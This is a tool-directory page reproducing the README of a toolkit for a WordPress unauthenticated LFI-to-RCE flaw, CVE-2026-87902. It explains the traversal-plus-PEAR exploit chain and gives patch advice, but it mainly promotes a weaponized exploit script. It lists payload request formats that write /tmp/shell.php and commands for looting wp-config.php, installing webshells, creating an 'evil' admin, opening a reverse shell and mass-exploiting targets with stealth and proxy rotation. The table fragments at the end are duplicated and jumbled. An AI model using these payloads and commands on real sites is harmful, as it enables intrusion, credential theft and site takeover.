Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-87902-Toolkit — WordPress CVE-2026-87902 LFI-to-RCE toolkit with a weaponized exploit chain (PEAR RCE, webshell, admin creation, loot) and a non-intrusive SafeChecker version and risk auditor. | Kitploit
Tools/GitHubGitHub/tc4dy/cve-2026-87902-toolkit
Defensive ToolsVulnerability ScannersPayload GenerationExploitationReverse EngineeringWeb Application ExploitationPost-ExploitationWeb SecurityPenetration TestingLearning & EducationRed Teaming
1120h 51m agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
GitHub
tc4dy/cve-2026-87902-toolkit

CVE-2026-87902-Toolkit

WordPress CVE-2026-87902 LFI-to-RCE toolkit with a weaponized exploit chain (PEAR RCE, webshell, admin creation, loot) and a non-intrusive SafeChecker version and risk auditor.

View Repository
Share

CVEPoC

CVE‑2026‑87902 – WordPress Unauth LFI→RCE Toolkit

Python 3.8+ CVSS Author WordPress

ETHICAL USE ONLY – AUTHORIZED SECURITY TESTING
This repository provides tools for authorized security professionals, blue teams, and penetration testers only.
Unauthorized access to computer systems is illegal under CFAA (US), Computer Misuse Act (UK), TCK 243/244 (Turkey), and similar laws worldwide.


📖 Vulnerability Overview

CVE‑2026‑87902 is a critical unauthenticated path traversal and local file inclusion (LFI) vulnerability in (versions through ) that allows an unauthenticated attacker to include arbitrary local files via the query parameter, and under specific server conditions escalate to by chaining the PEAR file. CVSS score: . Disclosed by through WordPress's HackerOne program in July 2026. Patched in on September 22, 2026, with backports down to 4.7 .

WordPress Core
4.7.0
7.1.1
.php
pagename
remote code execution (RCE)
pearcmd.php
9.2 (Critical)
Robert Ressl
7.1.2

The flaw affects every WordPress release since 2016 — a decade of versions that passed code review without detection. The root cause is a single missing validation call in one of the most heavily-traversed code paths in the CMS .

How it works

  1. Unsanitized template resolution – get_page_template() in wp-includes/template.php builds template candidates from the pagename query variable. A neighboring code path in the same function applies validate_file() to block ../ sequences, but the $pagename branch does not call it. Any traversal in pagename passes unchecked .

  2. Double-encoded traversal bypass – WordPress applies sanitize_title_for_query() to pagename, which replaces literal dots (.) with hyphens to prevent traversal. But the function operates on already-decoded input and does not recursively decode. An attacker sends %252e%252e%252f; the web server decodes it once to %2e%2e%2f; the sanitizer sees no literal dots and passes it through; then get_page_template() calls urldecode() again inside the function, producing ../ .

  3. Theme directory precondition – The active theme must contain a top-level directory whose name starts with page- (e.g. page-templates/). The constructed filename page-{pagename}.php then escapes the theme root via the traversal. Older default themes (Twenty Twelve, Twenty Fourteen) and popular third-party themes (Neve, Hestia, Sydney) ship this directory. Child themes inheriting from such parents also satisfy the precondition .

  4. LFI sink in locate_template() – The candidate path is passed to locate_template(), which searches the theme directories. Because the traversal resolves to a file outside those directories, and the function checks only file_exists(), any readable .php file is included with full web server privileges. This makes the LFI unconditional on any unpatched site meeting the theme precondition — including wp-config.php with its database credentials and authentication salts .

  5. PEAR pearcmd.php RCE escalation – PEAR ships with many PHP installations. Its pearcmd.php is normally CLI-only, but when register_argc_argv=On, PHP populates $_SERVER['argv'] from the URL query string. The attacker includes pearcmd.php via the LFI, passes config-create as an argument, and supplies PHP code plus an output path (/tmp/shell.php). PEAR writes the attacker's code to disk; a second include executes it .

  6. Second exploitation route – A request combining name (front-page slug), page_id (posts-page ID), preview=true, and a pagename payload diverts WP_Query into its post_name branch, which never rewrites pagename through sanitize_title_for_query(). This allows literal dots in the traversal. Requires a theme without single.php .

  7. Server configuration requirements – RCE depends on two conditions common in real deployments: pearcmd.php present/readable (frequent on shared hosting, cPanel, official PHP Docker images), and register_argc_argv=On (default in PHP below 8.5). PHP 8.5 changed the default to Off. On a modern PHP 8.5+ server without PEAR, exploitation stops at LFI .

  8. The patch – WordPress 7.1.2 adds two layers of defense: (a) the missing validate_file() call in the pagename branch, and (b) a new _wp_is_template_path_allowed() function called by locate_template() for every resolved template. The function rejects paths containing .., then resolves the real path via realpath() and verifies it lies inside one of the allowed theme directories. This defense-in-depth closes the sink, not just one route to it .

  9. Active exploitation in the wild – First malicious requests observed 5 hours after patch release (17:44 UTC, Sept 22, 2026). Traffic increased tenfold over the next day. Three stages observed: config-show reconnaissance → core-file detection → config-create weaponization. Payload filenames included wp-pear-rce-flag.php, poc87902.php, luci_*.php, zeta_*.php, written to /tmp and /var/tmp. Attacking IPs: 169.58.48.193, 169.58.48.195, 2001:df1:e8c0::106b .

  10. Impact – Code execution with web server privileges. Full site takeover, wp-config.php credential theft, data exfiltration, webshell installation, admin user creation, reverse shell, supply-chain attacks via modified plugins/themes, and lateral movement into connected services. The CVSS 9.2 score reflects network-exploitable, no-auth, high-confidentiality/integrity/availability impact. The high attack complexity reflects the theme and server preconditions, but on typical shared hosting those conditions are frequently met.

Affected Versions

  • 4.7.0 – 4.7.37 – vulnerable
  • 4.8.0 – 4.8.32 – vulnerable
  • 4.9.0 – 4.9.33 – vulnerable
  • 5.0.0 – 5.0.29 – vulnerable
  • 5.1.0 – 5.1.26 – vulnerable
  • 5.2.0 – 5.2.28 – vulnerable
  • 5.3.0 – 5.3.25 – vulnerable
  • 5.4.0 – 5.4.23 – vulnerable
  • 5.5.0 – 5.5.22 – vulnerable
  • 5.6.0 – 5.6.21 – vulnerable
  • 5.7.0 – 5.7.19 – vulnerable
  • 5.8.0 – 5.8.17 – vulnerable
  • 5.9.0 – 5.9.18 – vulnerable
  • 6.0.0 – 6.0.16 – vulnerable
  • 6.1.0 – 6.1.14 – vulnerable
  • 6.2.0 – 6.2.13 – vulnerable
  • 6.3.0 – 6.3.12 – vulnerable
  • 6.4.0 – 6.4.12 – vulnerable
  • 6.5.0 – 6.5.12 – vulnerable
  • 6.6.0 – 6.6.9 – vulnerable
  • 6.7.0 – 6.7.9 – vulnerable
  • 6.8.0 – 6.8.10 – vulnerable
  • 6.9.0 – 6.9.9 – vulnerable
  • 7.0.0 – 7.0.6 – vulnerable
  • 7.1.0 – 7.1.1 – vulnerable

Patch

  • Upgrade to 4.7.37, 4.8.32, 4.9.33, 5.0.29, 5.1.26, 5.2.28, 5.3.25, 5.4.23, 5.5.22, 5.6.21, 5.7.19, 5.8.17, 5.9.18, 6.0.16, 6.1.14, 6.2.13, 6.3.12, 6.4.12, 6.5.12, 6.6.9, 6.7.9, 6.8.10, 6.9.9, 7.0.6, or 7.1.2 or newer.
  • If upgrade is not possible, rename or remove the page-* directory in the active theme, set register_argc_argv=Off in php.ini, and block double-encoded traversal in the pagename parameter at the WAF level.

[<->] Tools

ToolPurposeIntended User
exploit.pyFull weaponized toolkit with LFI detection, PEAR RCE chain, admin user creation, webshell install, reverse shell, mass scanning, stealth mode, proxy rotation, and full attack chain.Red teams / authorized pentesters
safecheck.pyNon‑intrusive vulnerability checker that detects WordPress version, validates exposure, and assesses risk without including any file or executing any payload. Generates JSON reports.Blue teams / security auditors

[</>] Feature Comparison

Featureexploit.pysafecheck.py
Vulnerability detection✅✅
Version detection✅✅
Theme page-* directory check✅✅
PEAR pearcmd.php reachability✅✅
register_argc_argv check✅✅
WAF behavior probe❌✅
Double-encoded LFI probe✅❌
PEAR config-create RCE✅❌
Admin user creation✅❌
Webshell install✅❌
Reverse shell✅❌
Loot wp-config.php✅❌
Full attack chain✅❌
Mass scanning (multi‑thread)✅✅
Proxy support✅✅
Proxy rotation✅❌
User‑Agent rotation (OPSEC)✅❌
Jitter (OPSEC)✅❌
Rate limiter✅❌
Non‑intrusive (safe) mode❌✅
Risk assessment report✅✅
Mitigation recommendations

[+] Use Case Summary

ScenarioRecommended Tool
Blue Team – verifying if your WordPress is vulnerablesafecheck.py
Security Audit – non‑intrusive vulnerability assessmentsafecheck.py
Red Team – authorized penetration testing with full exploitationexploit.py
Bug Bounty – responsible disclosure testingsafecheck.py
Mass Scanning – checking multiple targets for vulnerabilityexploit.py (detect‑only)
Incident Response – checking if systems are compromisedsafecheck.py

[+] Installation

root@kitploit:~
git clone https://github.com/tc4dy/CVE-2026-87902-Toolkit
cd CVE-2026-87902-Toolkit
pip install -r requirements.txt

requirements.txt

root@kitploit:~
requests
urllib3

[/] Parameters

exploit.py Parameters

ParameterDescription
-u, --urlSingle target WordPress URL (e.g. http://wordpress.example.com)
-f, --fileFile containing list of targets (one per line) for mass scanning
--pipeRead targets from stdin
--exploitPerform exploitation after detection
--create-adminCreate persistent admin user (format: USER:PASS)
--webshellInstall webshell via RCE
--reverse-shellTrigger reverse shell (format: LHOST:LPORT)
--lootLoot wp-config.php and other files
--threadsNumber of threads for multi‑target (default: 8)
--timeoutRequest timeout (default: 15s)
--retryMax retries (default: 3)
--proxyHTTP/HTTPS proxy (e.g. http://127.0.0.1:8080)
--proxy-listFile with proxies for rotation (one per line)
--proxy-rotateProxy rotation strategy (round-robin, random, sticky)
--jitterRandom jitter between requests
--jitter-rangeJitter min,max seconds (default: 0.1,2.0)
--delayFixed delay between requests
--stealthEnable stealth mode (UA rotation + jitter)
--insecureDisable TLS verification
--user-agentCustom User-Agent

safecheck.py Parameters

ParameterDescription
-u, --urlSingle target WordPress URL (e.g. http://wordpress.example.com)
-f, --fileFile containing list of targets (one per line)
--pipeRead targets from stdin
-t, --threadsNumber of threads for multi‑target (default: 8)
--timeoutRequest timeout (default: 15s)
--retryMax retries (default: 3)
--proxyHTTP/HTTPS proxy
--jitterRandom jitter between requests
--jitter-rangeJitter min,max seconds (default: 0.1,2.0)
--delayFixed delay between requests
--insecureDisable TLS verification
--user-agentCustom User-Agent
--max-bodyMax response body size
--concurrent-per-hostMax concurrent requests per host
--excludeComma-separated hosts to exclude
-o, --outputSave JSON report to file (.json, .csv, .html, .jsonl)
--dbSQLite database file
-v, --verboseVerbose output
-q, --quietQuiet mode
--no-bannerSuppress banner

[>] Scenarios

#ScenarioCommand
1Quick vulnerability checkpython safecheck.py -u http://wordpress.example.com
2Detailed scan with reportpython safecheck.py -u http://wordpress.example.com -o report.json -v
3Mass audit from filepython safecheck.py -f targets.txt -t 10 -o audit.json
4Detect‑only exploitpython exploit.py -u http://wordpress.example.com
5Loot wp-config.phppython exploit.py -u http://wordpress.example.com --exploit --loot
6Full attack with webshellpython exploit.py -u http://wordpress.example.com --exploit --webshell
7Create persistent admin userpython exploit.py -u http://wordpress.example.com --exploit --create-admin evil:P@ssw0rd1
8Reverse shellpython exploit.py -u http://wordpress.example.com --exploit --reverse-shell 10.0.0.1:4444
9Full attack chainpython exploit.py -u http://wordpress.example.com --exploit --loot --webshell --create-admin evil:P@ssw0rd1
10Mass exploit with stealthpython exploit.py -f targets.txt -t 20 --exploit --stealth --jitter -o results.json
11Proxy rotationpython exploit.py -f targets.txt --proxy-list proxies.txt --proxy-rotate random --exploit

🧪 Endpoint & Exploitation Chain

The exploit uses the following WordPress endpoints and exploitation steps:

StepMethodEndpointDescription
1. FingerprintGET/Detect WordPress via wp-content, wp-includes, wp-json
2. VersionGET/feed/Extract version via <generator> meta
3. Page IDGET/wp-json/wp/v2/pagesDiscover a valid page_id
4. Theme DirGET/wp-content/themes/{theme}/page-templates/Confirm page-* precondition
5. LFI ProbeGET/?page_id={id}&pagename={payload}Double-encoded traversal to include local file
6. PEAR IncludeGET/?page_id={id}&pagename={pearcmd}Include pearcmd.php
7. PEAR RCEGET/?+config-create+/&page_id={id}&pagename={pearcmd}&/{payload}+{outfile}Write PHP file via PEAR
8. ExecuteGET/?page_id={id}&pagename={outfile}Include written file → RCE
9. PersistGET(via RCE)Create admin user / webshell
10. LootGET/?page_id={id}&pagename={wp-config}Read wp-config.php via LFI

Payload Format

root@kitploit:~
# Double-encoded traversal example
pagename = page-templates/..%252f..%252f..%252f..%252fusr/local/lib/php/pearcmd

# PEAR config-create RCE chain
GET /?+config-create+/&page_id=2&pagename={encoded_pearcmd}&/{encoded_php}+/tmp/shell.php

# PEAR include trigger
GET /?page_id=2&pagename={encoded_output_path}

🛡️ Responsible Use

  • Only use these tools on systems you own or have explicit written permission to test.
  • Unauthorized access is illegal and unethical.
  • The authors are not responsible for any misuse.
  • Always follow your country's laws and regulations.

This software is provided for educational purposes and authorized security testing only.

Download Tool
❌
✅
JSON report✅✅
CSV report✅✅
HTML report✅✅
SQLite output✅✅
Custom User‑Agent✅✅
SSL verification control✅✅
--max-body
Max response body size
--concurrent-per-hostMax concurrent requests per host
--rate-limitMax requests per second
--excludeComma-separated hosts to exclude
-o, --outputSave report to file (.json, .csv, .html, .jsonl)
--dbSQLite database file
-v, --verboseVerbose output
-q, --quietQuiet mode
--no-bannerSuppress banner